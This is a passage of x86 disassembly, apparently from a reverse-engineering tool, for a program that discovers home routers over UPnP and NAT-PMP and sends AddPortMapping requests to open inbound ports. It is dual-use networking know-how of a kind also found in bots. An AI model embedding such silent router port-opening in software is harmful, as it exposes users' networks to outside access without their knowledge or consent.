sub_402562+20j pop esi pop ebx retn sub_402562 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025A9 proc near ; CODE XREF: sub_402B02+337p var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 468h push ebx push esi push edi push 10h push 0 lea eax, [ebp+var_5C] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_5C], 2 xor di, di push offset aHttp ; "http://" push [ebp+arg_0] call sub_402511 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_4025EB xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_4025EA: ; CODE XREF: sub_4025A9+4Aj inc ebx loc_4025EB: ; CODE XREF: sub_4025A9+38j mov al, [ebx] test al, al jz short loc_4025F5 cmp al, 2Fh jnz short loc_4025EA loc_4025F5: ; CODE XREF: sub_4025A9+46j jmp short loc_4025F8 ; --------------------------------------------------------------------------- loc_4025F7: ; CODE XREF: sub_4025A9+57j inc ebx loc_4025F8: ; CODE XREF: sub_4025A9:loc_4025F5j mov al, [ebx] test al, al jz short loc_402602 cmp al, 2Fh jz short loc_4025F7 loc_402602: ; CODE XREF: sub_4025A9+53j xor esi, esi jmp short loc_40261A ; --------------------------------------------------------------------------- loc_402606: ; CODE XREF: sub_4025A9+7Dj cmp esi, 3Fh jb short loc_402612 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402612: ; CODE XREF: sub_4025A9+60j mov al, [ebx] mov [ebp+esi+var_40], al inc esi inc ebx loc_40261A: ; CODE XREF: sub_4025A9+5Bj mov al, [ebx] test al, al jz short loc_402628 cmp al, 3Ah jz short loc_402628 cmp al, 2Fh jnz short loc_402606 loc_402628: ; CODE XREF: sub_4025A9+75j ; sub_4025A9+79j mov [ebp+esi+var_40], 0 cmp byte ptr [ebx], 3Ah jz short loc_402639 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402639: ; CODE XREF: sub_4025A9+87j inc ebx cmp byte ptr [ebx], 0 jnz short loc_402660 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402646: ; CODE XREF: sub_4025A9+C3j movzx eax, di lea eax, [eax+eax*4] add eax, eax mov di, ax movzx eax, di movsx edx, byte ptr [ebx] sub edx, 30h add eax, edx mov di, ax inc ebx loc_402660: ; CODE XREF: sub_4025A9+94j mov al, [ebx] test al, al jz short loc_40266E cmp al, 30h jl short loc_40266E cmp al, 39h jle short loc_402646 loc_40266E: ; CODE XREF: sub_4025A9+BBj ; sub_4025A9+BFj cmp di, 1 jnb short loc_40267C xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_40267B: ; CODE XREF: sub_4025A9+DBj inc ebx loc_40267C: ; CODE XREF: sub_4025A9+C9j mov al, [ebx] test al, al jz short loc_402686 cmp al, 2Fh jnz short loc_40267B loc_402686: ; CODE XREF: sub_4025A9+D7j cmp byte ptr [ebx], 0 jnz short loc_402692 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402692: ; CODE XREF: sub_4025A9+E0j lea eax, [ebp+var_40] push eax call sub_406D08 ; inet_addr mov [ebp+var_58], eax movzx eax, di push eax call sub_406CD8 ; htons mov [ebp+var_5A], ax movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n" call sub_407260 add esp, 0Ch push 6 push 1 push 2 call sub_406CBA ; socket mov [ebp+var_44], eax cmp eax, 0FFFFFFFFh jnz short loc_4026D9 and [ebp+var_44], 0 loc_4026D9: ; CODE XREF: sub_4025A9+12Aj cmp [ebp+var_44], 0 jnz short loc_4026E6 xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_4026E6: ; CODE XREF: sub_4025A9+134j lea eax, [ebp+var_40] push eax call sub_406D08 ; inet_addr movzx edx, di push edx push eax push [ebp+var_44] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_402713 push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402713: ; CODE XREF: sub_4025A9+158j movzx eax, di push eax lea eax, [ebp+var_40] push eax push ebx push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"... lea eax, [ebp+var_45C] push eax call sub_4072C0 add esp, 14h lea eax, [ebp+var_45C] push eax call sub_407650 pop ecx mov [ebp+var_48], eax push [ebp+var_48] lea eax, [ebp+var_45C] push eax push [ebp+var_44] call sub_401787 add esp, 0Ch cmp eax, [ebp+var_48] jz short loc_40276A push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_4025A9+1AFj push [ebp+var_44] call sub_402562 pop ecx push 10000h call sub_401048 pop ecx mov [ebp+var_4C], eax push 0FFFFh push [ebp+var_4C] push [ebp+var_44] call sub_401713 add esp, 0Ch mov [ebp+var_48], eax test eax, eax jnz short loc_4027D2 push [ebp+var_44] call sub_401542 pop ecx mov [ebp+var_468], eax cmp eax, 0FFFFh jle short loc_4027BB mov [ebp+var_468], 0FFFFh loc_4027BB: ; CODE XREF: sub_4025A9+206j push [ebp+var_468] push [ebp+var_4C] push [ebp+var_44] call sub_4016DC add esp, 0Ch mov [ebp+var_48], eax loc_4027D2: ; CODE XREF: sub_4025A9+1F0j push [ebp+var_48] movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"... call sub_407260 add esp, 10h cmp [ebp+var_48], 1 jge short loc_402809 push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_402809: ; CODE XREF: sub_4025A9+245j push offset asc_40F5F0 ; "\n" push [ebp+var_4C] call sub_4076C0 pop ecx pop ecx mov [ebp+var_460], eax test eax, eax jnz short loc_402838 push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp short loc_40288F ; --------------------------------------------------------------------------- loc_402838: ; CODE XREF: sub_4025A9+277j push offset a200 ; "200" push [ebp+var_4C] call sub_4076C0 pop ecx pop ecx mov [ebp+var_464], eax test eax, eax jz short loc_402859 cmp eax, [ebp+var_460] jbe short loc_40286F loc_402859: ; CODE XREF: sub_4025A9+2A6j push [ebp+var_4C] call sub_401076 pop ecx push [ebp+var_44] call sub_4014C2 pop ecx xor eax, eax jmp short loc_40288F ; --------------------------------------------------------------------------- loc_40286F: ; CODE XREF: sub_4025A9+2AEj push [ebp+var_44] call sub_4014C2 pop ecx lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407670 pop ecx pop ecx mov edx, [ebp+arg_8] mov [edx], di mov eax, [ebp+var_4C] loc_40288F: ; CODE XREF: sub_4025A9+3Cj ; sub_4025A9+64j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4025A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402896 proc near ; CODE XREF: sub_402B02+50Fp ; sub_402B02+53Dp var_2014 = dword ptr -2014h var_2010 = dword ptr -2010h var_200C = dword ptr -200Ch var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h arg_14 = word ptr 1Ch push ebp mov ebp, esp mov eax, 2014h call sub_407730 push ebx push esi push edi movzx eax, [ebp+arg_10] push eax movzx eax, [ebp+arg_14] push eax push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"... lea eax, [ebp+var_2008] push eax call sub_4072C0 add esp, 10h lea eax, [ebp+var_2008] push eax call sub_407650 pop ecx mov [ebp+var_200C], eax cmp [ebp+arg_0], 0 jz short loc_402904 push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"... lea eax, [ebp+var_1008] push eax call sub_4072C0 add esp, 18h jmp short loc_402929 ; --------------------------------------------------------------------------- loc_402904: ; CODE XREF: sub_402896+45j push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"... lea eax, [ebp+var_1008] push eax call sub_4072C0 add esp, 18h loc_402929: ; CODE XREF: sub_402896+6Cj lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push eax call sub_407690 pop ecx pop ecx movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n" call sub_407260 add esp, 0Ch call sub_401359 mov edi, eax test eax, eax jz loc_402AFB push [ebp+arg_4] call sub_406D08 ; inet_addr movzx edx, [ebp+arg_8] push edx push eax push edi call sub_401567 add esp, 0Ch test eax, eax jnz short loc_40298B push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_40298B: ; CODE XREF: sub_402896+E5j lea eax, [ebp+var_1008] push eax call sub_407650 pop ecx mov [ebp+var_4], eax push [ebp+var_4] lea eax, [ebp+var_1008] push eax push edi call sub_401787 add esp, 0Ch cmp eax, [ebp+var_4] jz short loc_4029C1 push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_4029C1: ; CODE XREF: sub_402896+11Bj push edi call sub_402562 pop ecx push 10000h call sub_401048 pop ecx mov [ebp+var_8], eax push 0FFFFh push [ebp+var_8] push edi call sub_401713 add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_402A21 push edi call sub_401542 pop ecx mov [ebp+var_2014], eax cmp eax, 0FFFFh jle short loc_402A0C mov [ebp+var_2014], 0FFFFh loc_402A0C: ; CODE XREF: sub_402896+16Aj push [ebp+var_2014] push [ebp+var_8] push edi call sub_4016DC add esp, 0Ch mov [ebp+var_4], eax loc_402A21: ; CODE XREF: sub_402896+156j push [ebp+var_4] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "... call sub_407260 add esp, 10h cmp [ebp+var_4], 1 jge short loc_402A56 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp loc_402AFB ; --------------------------------------------------------------------------- loc_402A56: ; CODE XREF: sub_402896+1A7j push offset asc_40F5F0 ; "\n" push [ebp+var_8] call sub_4076C0 pop ecx pop ecx mov [ebp+var_2010], eax test eax, eax jnz short loc_402A83 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp short loc_402AFB ; --------------------------------------------------------------------------- loc_402A83: ; CODE XREF: sub_402896+1D7j mov ebx, [ebp+var_8] jmp short loc_402A89 ; --------------------------------------------------------------------------- loc_402A88: ; CODE XREF: sub_402896+1FBj inc ebx loc_402A89: ; CODE XREF: sub_402896+1F0j mov al, [ebx] test al, al jz short loc_402A93 cmp al, 20h jnz short loc_402A88 loc_402A93: ; CODE XREF: sub_402896+1F7j jmp short loc_402A96 ; --------------------------------------------------------------------------- loc_402A95: ; CODE XREF: sub_402896+208j inc ebx loc_402A96: ; CODE XREF: sub_402896:loc_402A93j mov al, [ebx] test al, al jz short loc_402AA0 cmp al, 20h jz short loc_402A95 loc_402AA0: ; CODE XREF: sub_402896+204j xor esi, esi jmp short loc_402AB4 ; --------------------------------------------------------------------------- loc_402AA4: ; CODE XREF: sub_402896+22Aj lea esi, [esi+esi*4] add esi, esi movsx eax, byte ptr [ebx] sub eax, 30h add esi, eax inc ebx jmp short loc_402AC2 ; --------------------------------------------------------------------------- loc_402AB4: ; CODE XREF: sub_402896+20Cj mov al, [ebx] test al, al jz short loc_402AC2 cmp al, 30h jl short loc_402AC2 cmp al, 39h jle short loc_402AA4 loc_402AC2: ; CODE XREF: sub_402896+21Cj ; sub_402896+222j ... push esi movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."... call sub_407260 add esp, 10h cmp esi, 2 jz short loc_402AF1 push [ebp+var_8] call sub_401076 pop ecx push edi call sub_4014C2 pop ecx xor eax, eax jmp short loc_402AFB ; --------------------------------------------------------------------------- loc_402AF1: ; CODE XREF: sub_402896+245j push edi call sub_4014C2 pop ecx xor eax, eax inc eax loc_402AFB: ; CODE XREF: sub_402896+C6j ; sub_402896+F0j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402896 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B02 proc near ; CODE XREF: sub_40356A+6Cp ; sub_404967+150p var_18A0 = dword ptr -18A0h var_189C = byte ptr -189Ch var_188C = dword ptr -188Ch var_1888 = dword ptr -1888h var_1884 = dword ptr -1884h var_187E = byte ptr -187Eh var_183E = word ptr -183Eh var_183C = dword ptr -183Ch var_1838 = dword ptr -1838h var_1834 = dword ptr -1834h var_1830 = dword ptr -1830h var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_181C = word ptr -181Ch var_181A = word ptr -181Ah var_1818 = dword ptr -1818h var_1809 = byte ptr -1809h var_1409 = byte ptr -1409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, 18A0h call sub_407730 push ebx push esi push edi mov [ebp+var_1820], 3E8h cmp [ebp+arg_0], 0 jnz short loc_402B2B mov ax, [ebp+arg_4] mov [ebp+arg_0], ax loc_402B2B: ; CODE XREF: sub_402B02+1Fj push 10h push 0 lea eax, [ebp+var_181C] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_181C], 2 push offset a239_255_255_25 ; "239.255.255.250" call sub_406D08 ; inet_addr mov [ebp+var_1818], eax push 76Ch call sub_406CD8 ; htons mov [ebp+var_181A], ax mov [ebp+var_404], 1 push 11h push 2 push 2 call sub_406CBA ; socket mov [ebp+var_408], eax and [ebp+var_1828], 0 mov [ebp+var_1824], 1 push offset a239_255_255_25 ; "239.255.255.250" call sub_406D08 ; inet_addr mov [ebp+var_1828], eax push 8 lea eax, [ebp+var_1828] push eax push 5 push 0 mov eax, [ebp+var_408] push eax call sub_406CC0 ; setsockopt test eax, eax jge short loc_402BCC push offset aShit ; "shit!\n" call sub_407260 pop ecx loc_402BCC: ; CODE XREF: sub_402B02+BDj lea eax, [ebp+var_181C] mov [ebp+var_182C], eax push 10h push [ebp+var_182C] mov eax, [ebp+var_408] push eax call sub_406CE4 ; bind cmp eax, 0FFFFFFFFh jnz loc_403082 push offset aXbind___ ; "xbind...\n" call sub_407260 pop ecx jmp loc_403082 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_402B02+587j mov [ebp+var_1884], 10h push [ebp+var_404] push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"... call sub_407260 pop ecx pop ecx push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... call sub_407650 pop ecx push 10h lea edx, [ebp+var_181C] push edx push 0 push eax push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... mov eax, [ebp+var_408] push eax call sub_406D26 ; sendto test eax, eax jge short loc_402C60 mov eax, [ebp+var_408] push eax call sub_406CC6 ; closesocket xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402C60: ; CODE XREF: sub_402B02+149j push [ebp+var_404] push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."... call sub_407260 pop ecx pop ecx push 4 lea eax, [ebp+var_1820] push eax push 1006h push 0FFFFh mov eax, [ebp+var_408] push eax call sub_406CC0 ; setsockopt test eax, eax jge short loc_402CA8 mov eax, [ebp+var_408] push eax call sub_406CC6 ; closesocket xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402CA8: ; CODE XREF: sub_402B02+191j push [ebp+var_404] push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."... call sub_407260 pop ecx pop ecx lea eax, [ebp+var_1884] push eax lea eax, [ebp+var_189C] push eax push 0 push 1000h lea eax, [ebp+var_1409] push eax mov eax, [ebp+var_408] push eax call sub_406D2C ; recvfrom test eax, eax jge short loc_402D12 call sub_406D32 ; WSAGetLastError cmp eax, 274Ch jnz short loc_402CFF cmp [ebp+var_404], 3 jnz loc_40307C loc_402CFF: ; CODE XREF: sub_402B02+1EEj mov eax, [ebp+var_408] push eax call sub_406CC6 ; closesocket xor eax, eax jmp loc_40309D ; --------------------------------------------------------------------------- loc_402D12: ; CODE XREF: sub_402B02+1E2j mov eax, [ebp+var_1884] mov [ebp+eax+var_1409], 0 push [ebp+var_404] push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"... call sub_407260 pop ecx pop ecx push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"... lea eax, [ebp+var_1409] push eax call sub_402511 pop ecx pop ecx test eax, eax jnz short loc_402D60 push [ebp+var_404] push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."... call sub_407260 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402D60: ; CODE XREF: sub_402B02+245j push offset aLocation ; "location" lea eax, [ebp+var_1409] push eax call sub_402511 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_402D91 push [ebp+var_404] push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."... call sub_407260 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402D90: ; CODE XREF: sub_402B02+297j inc ebx loc_402D91: ; CODE XREF: sub_402B02+275j mov al, [ebx] test al, al jz short loc_402D9B cmp al, 3Ah jnz short loc_402D90 loc_402D9B: ; CODE XREF: sub_402B02+293j cmp byte ptr [ebx], 0 jz short loc_402DA4 inc ebx jmp short loc_402DA4 ; --------------------------------------------------------------------------- loc_402DA3: ; CODE XREF: sub_402B02+2AAj inc ebx loc_402DA4: ; CODE XREF: sub_402B02+29Cj ; sub_402B02+29Fj mov al, [ebx] test al, al jz short loc_402DAE cmp al, 20h jz short loc_402DA3 loc_402DAE: ; CODE XREF: sub_402B02+2A6j lea eax, [ebp+var_1809] mov [ebp+var_1834], eax jmp short loc_402DCD ; --------------------------------------------------------------------------- loc_402DBC: ; CODE XREF: sub_402B02+2D3j mov edx, [ebp+var_1834] mov al, [ebx] mov [edx], al inc [ebp+var_1834] inc ebx loc_402DCD: ; CODE XREF: sub_402B02+2B8j mov al, [ebx] test al, al jz short loc_402DD7 cmp al, 20h jg short loc_402DBC loc_402DD7: ; CODE XREF: sub_402B02+2CFj mov edx, [ebp+var_1834] mov byte ptr [edx], 0 lea eax, [ebp+var_1809] push eax call sub_407650 pop ecx test eax, eax jnz short loc_402E08 push [ebp+var_404] push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."... call sub_407260 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E08: ; CODE XREF: sub_402B02+2EDj mov [ebp+var_183E], 0 lea eax, [ebp+var_1809] push eax push offset aLocationS ; "location: <%s>\n" call sub_407260 pop ecx pop ecx lea eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax lea eax, [ebp+var_1809] push eax call sub_4025A9 add esp, 0Ch mov [ebp+var_183C], eax test eax, eax jnz short loc_402E62 push [ebp+var_404] push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."... call sub_407260 pop ecx pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E62: ; CODE XREF: sub_402B02+347j push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"... push [ebp+var_183C] call sub_402511 pop ecx pop ecx mov [ebp+var_188C], eax test eax, eax jnz short loc_402E8F push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402E8F: ; CODE XREF: sub_402B02+37Aj mov eax, [ebp+var_183C] mov [ebp+var_1830], eax loc_402E9B: ; CODE XREF: sub_402B02+3CBj push offset aService_0 ; "<service>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov [ebp+var_18A0], eax test eax, eax jz short loc_402EBF cmp eax, [ebp+var_1830] jbe short loc_402EC1 loc_402EBF: ; CODE XREF: sub_402B02+3B3j jmp short loc_402ECF ; --------------------------------------------------------------------------- loc_402EC1: ; CODE XREF: sub_402B02+3BBj mov eax, [ebp+var_18A0] mov [ebp+var_1830], eax jmp short loc_402E9B ; --------------------------------------------------------------------------- loc_402ECF: ; CODE XREF: sub_402B02:loc_402EBFj push offset aService ; "</service>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov [ebp+var_1888], eax test eax, eax jnz short loc_402EFC push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402EFC: ; CODE XREF: sub_402B02+3E7j push offset aControlurl ; "<controlURL>" push [ebp+var_1830] call sub_402511 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_402F1C cmp esi, [ebp+var_1888] jb short loc_402F2D loc_402F1C: ; CODE XREF: sub_402B02+410j push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402F2D: ; CODE XREF: sub_402B02+418j push 400h push 0 lea eax, [ebp+var_400] push eax call sub_4075D0 add esp, 0Ch jmp short loc_402F46 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402B02+44Cj inc esi loc_402F46: ; CODE XREF: sub_402B02+441j mov al, [esi] test al, al jz short loc_402F50 cmp al, 3Eh jnz short loc_402F45 loc_402F50: ; CODE XREF: sub_402B02+448j cmp byte ptr [esi], 0 jz short loc_402F56 inc esi loc_402F56: ; CODE XREF: sub_402B02+451j cmp byte ptr [esi], 0 jnz short loc_402F6C push [ebp+var_183C] call sub_401076 pop ecx jmp loc_40307C ; --------------------------------------------------------------------------- loc_402F6C: ; CODE XREF: sub_402B02+457j and [ebp+var_1838], 0 jmp short loc_402F8B ; --------------------------------------------------------------------------- loc_402F75: ; CODE XREF: sub_402B02+491j mov eax, [ebp+var_1838] mov dl, [esi] mov [ebp+eax+var_400], dl inc [ebp+var_1838] inc esi loc_402F8B: ; CODE XREF: sub_402B02+471j mov al, [esi] test al, al jz short loc_402F95 cmp al, 3Ch jnz short loc_402F75 loc_402F95: ; CODE XREF: sub_402B02+48Dj mov eax, [ebp+var_1838] mov [ebp+eax+var_400], 0 push offset aHttp ; "http://" lea eax, [ebp+var_400] push eax call sub_402511 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_402FC5 lea edi, [ebp+var_400] jmp short loc_402FF5 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_402B02+4CBj inc edi loc_402FC5: ; CODE XREF: sub_402B02+4B8j mov al, [edi] test al, al jz short loc_402FCF cmp al, 3Ah jnz short loc_402FC4 loc_402FCF: ; CODE XREF: sub_402B02+4C7j cmp byte ptr [edi], 0 jz short loc_402FD8 inc edi jmp short loc_402FD8 ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402B02+4DEj inc edi loc_402FD8: ; CODE XREF: sub_402B02+4D0j ; sub_402B02+4D3j mov al, [edi] test al, al jz short loc_402FE2 cmp al, 2Fh jz short loc_402FD7 loc_402FE2: ; CODE XREF: sub_402B02+4DAj cmp byte ptr [edi], 0 jz short loc_402FEB inc edi jmp short loc_402FEB ; --------------------------------------------------------------------------- loc_402FEA: ; CODE XREF: sub_402B02+4F1j inc edi loc_402FEB: ; CODE XREF: sub_402B02+4E3j ; sub_402B02+4E6j mov al, [edi] test al, al jz short loc_402FF5 cmp al, 2Fh jnz short loc_402FEA loc_402FF5: ; CODE XREF: sub_402B02+4C0j ; sub_402B02+4EDj movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax push edi movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 0 call sub_402896 add esp, 18h test eax, eax jnz short loc_403059 movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax lea eax, [ebp+var_400] push eax movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 1 call sub_402896 add esp, 18h test eax, eax jnz short loc_403059 push [ebp+var_183C] call sub_401076 pop ecx jmp short loc_40307C ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402B02+519j ; sub_402B02+547j push [ebp+var_404] push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n" call sub_407260 pop ecx pop ecx mov eax, [ebp+var_408] push eax call sub_406CC6 ; closesocket xor eax, eax inc eax jmp short loc_40309D ; --------------------------------------------------------------------------- loc_40307C: ; CODE XREF: sub_402B02+1F7j ; sub_402B02+259j ... inc [ebp+var_404] loc_403082: ; CODE XREF: sub_402B02+EDj ; sub_402B02+FEj cmp [ebp+var_404], 3 jl loc_402C05 mov eax, [ebp+var_408] push eax call sub_406CC6 ; closesocket xor eax, eax loc_40309D: ; CODE XREF: sub_402B02+159j ; sub_402B02+1A1j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402B02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030A4 proc near ; CODE XREF: sub_403113+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi and [ebp+var_4], 0 xor esi, esi push 3Ch call sub_401048 pop ecx mov ebx, eax test eax, eax jz short loc_40310D push 0 lea eax, [ebp+var_4] push eax push ebx call sub_406D38 ; GetIpForwardTable cmp eax, 7Ah jnz short loc_4030E8 push ebx call sub_401076 pop ecx mov eax, [ebp+var_4] push eax call sub_401048 pop ecx mov ebx, eax test eax, eax jz short loc_40310D loc_4030E8: ; CODE XREF: sub_4030A4+2Bj push 0 lea eax, [ebp+var_4] push eax push ebx call sub_406D38 ; GetIpForwardTable test eax, eax jnz short loc_403104 mov eax, [ebx] mov [ebp+var_8], eax test eax, eax jz short loc_403104 mov esi, [ebx+10h] loc_403104: ; CODE XREF: sub_4030A4+52j ; sub_4030A4+5Bj push ebx call sub_401076 pop ecx mov eax, esi loc_40310D: ; CODE XREF: sub_4030A4+1Aj ; sub_4030A4+42j pop esi pop ebx mov esp, ebp pop ebp retn sub_4030A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403113 proc near ; CODE XREF: sub_40356A+17p ; sub_404967+F5p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_78 = byte ptr -78h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_9C], 0FAh call sub_4030A4 mov [ebp+var_84], eax test eax, eax jz loc_40331B mov [ebp+var_94], 2 mov eax, [ebp+var_84] mov [ebp+var_90], eax push 14E7h call sub_406CD8 ; htons mov [ebp+var_92], ax mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_406D20 ; inet_ntoa push eax push offset aDefaultGateway ; "default gateway: [%s]\n" call sub_407260 pop ecx pop ecx xor ebx, ebx inc ebx push 11h push 2 push 2 call sub_406CBA ; socket mov esi, eax push 10h push 0 lea eax, [ebp+var_AC] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_AC], 2 mov eax, [ebp+var_84] mov [ebp+var_A8], eax push 14E7h call sub_406CD8 ; htons mov [ebp+var_AA], ax lea edi, [ebp+var_AC] push 10h push edi push esi call sub_406CE4 ; bind jmp loc_40330A ; --------------------------------------------------------------------------- loc_4031DE: ; CODE XREF: sub_403113+1FAj mov [ebp+var_C0], 10h push ebx push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n" call sub_407260 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 0 push 10h lea eax, [ebp+var_94] push eax push 0 push 2 lea eax, [ebp+var_80] push eax push esi call sub_406D26 ; sendto test eax, eax jge short loc_403225 push esi call sub_406CC6 ; closesocket xor eax, eax jmp loc_40331B ; --------------------------------------------------------------------------- loc_403225: ; CODE XREF: sub_403113+103j push ebx push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n" call sub_407260 pop ecx pop ecx push 4 lea eax, [ebp+var_9C] push eax push 1006h push 0FFFFh push esi call sub_406CC0 ; setsockopt test eax, eax jge short loc_40325C push esi call sub_406CC6 ; closesocket xor eax, eax jmp loc_40331B ; --------------------------------------------------------------------------- loc_40325C: ; CODE XREF: sub_403113+13Aj push ebx push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n" call sub_407260 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 0Ch lea eax, 